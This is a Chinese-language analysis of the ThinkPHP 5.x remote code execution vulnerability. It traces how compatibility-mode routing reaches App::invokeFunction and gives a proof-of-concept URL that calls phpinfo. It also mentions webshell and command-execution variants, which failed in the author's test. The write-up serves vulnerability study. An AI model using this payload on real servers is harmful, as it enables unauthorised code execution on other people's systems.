Thinkphp 5.x RCE漏洞
0x0 概要
Thinkphp为MVC处理结构,通过对路由的解析,使用控制器调用函数。
由于对兼容模式的路由处理没有进行过滤等,可以调用命名空间下的任意函数,从而产生了RCE漏洞。
0x1 基础知识
Thinkphp 兼容模式
兼容模式是用于不支持PATHINFO的特殊环境,使用时,URL地址形如:
- http://localhost/?s=/home/user/login/var/value 或
- ?s=module/controller/action
Thinkphp App类的内置函数调用
1 2 3 4 5 6 7 8
| App::invokeFunction($function, $vars = [])
|
0x2 代码追踪
按照爆出phpinfo的执行过程跟踪。 POC中,使用invokefunction函数对phpinfo进行调用,且解析url中的vars,将其传入phpinfo中,payload为: 1
| http://localhost:801/cms/thinkphp/thinkphp_5.0.22/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1
|
首先需要对thinkphp的路由操作做分析。 传入兼容模式的s,所以是对s进行路由 1 2 3 4
| if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
|
跟踪至函数内: 1 2
| $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
|
进一步跟踪: 1 2 3 4 5 6 7 8 9 10 11 12
| if (false !== strpos($url, '?')) { $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { $path = explode('/', $url); } else { $path = [$url]; } return [$path, $var];
|
可以看到,代码没有对操作做出任何过滤和检测,直接将模块、控制器(命名空间)和操作函数解析了。 运行到此处时,path已经被分割为三部分。 之后,代码就会执行解析好的函数: 1
| $data = self::exec($dispatch, $config);
|
执行函数 1 2 3 4 5 6 7 8 9 10 11
| if (is_callable([$instance, $action])) { $call = [$instance, $action]; $reflect = new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); }
|
此时,invokefunction已经将传入的函数执行。
0x3 一些坑以及查阅资料得到
- 对于windows和linux系统,该漏洞的触发情况不一样,windows系统是对大小写敏感的,所以一些函数无法调用。
- 在本机(windows系统)下测试网上的写入webshell和执行系统命令的POC都失败了,并且在跟踪的过程中发现源代码也不太一样,一是本地测试使用的5.0.22非完整版本,二是本地服务器的安全设置问题。